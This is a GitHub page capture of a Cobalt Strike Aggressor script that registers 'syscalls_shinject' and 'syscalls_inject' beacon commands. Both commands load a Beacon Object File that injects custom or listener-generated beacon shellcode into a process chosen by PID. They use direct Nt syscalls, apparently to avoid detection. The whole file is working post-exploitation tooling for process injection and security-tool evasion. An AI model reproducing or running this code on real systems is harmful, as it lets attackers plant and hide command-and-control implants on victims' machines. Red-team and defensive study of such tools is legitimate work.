-
Notifications
You must be signed in to change notification settings - Fork 112
/
syscalls_inject.cna
64 lines (48 loc) · 1.73 KB
/
syscalls_inject.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
beacon_command_register(
"syscalls_shinject",
"Use syscalls from on-disk dll to execute custom shellcode launch with Nt functions.",
"Synopsis: syscalls_shinject PID path_to_bin");
beacon_command_register(
"syscalls_inject",
"Use syscalls from on-disk dll to execute CRT beacon shellcode launch with Nt functions.",
"Synopsis: syscalls_inject PID listener_name");
alias syscalls_shinject {
local('$handle $data $args $sc_data');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
$sc_handle = openf($3);
$sc_data = readb($sc_handle, -1);
closef($sc_handle);
# pack our arguments
$args = bof_pack($1, "ib", $2, $sc_data);
btask($1, "Syscalls Shellcode Injection BOF (@ajpc500)");
btask($1, "Reading shellcode from: $+ $3");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
alias syscalls_inject {
local('$handle $data $args');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("syscallsinject. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
if (listener_info($3) is $null) {
berror($1, "Could not find listener $3");
}
else {
# Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit.
$sc_data = payload($3, "x64", "thread");
# pack our arguments
$args = bof_pack($1, "ib", $2, $sc_data);
btask($1, "Syscalls Shellcode Injection BOF (@ajpc500)");
btask($1, "Using $+ $3 $+ listener for beacon shellcode generation.");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
}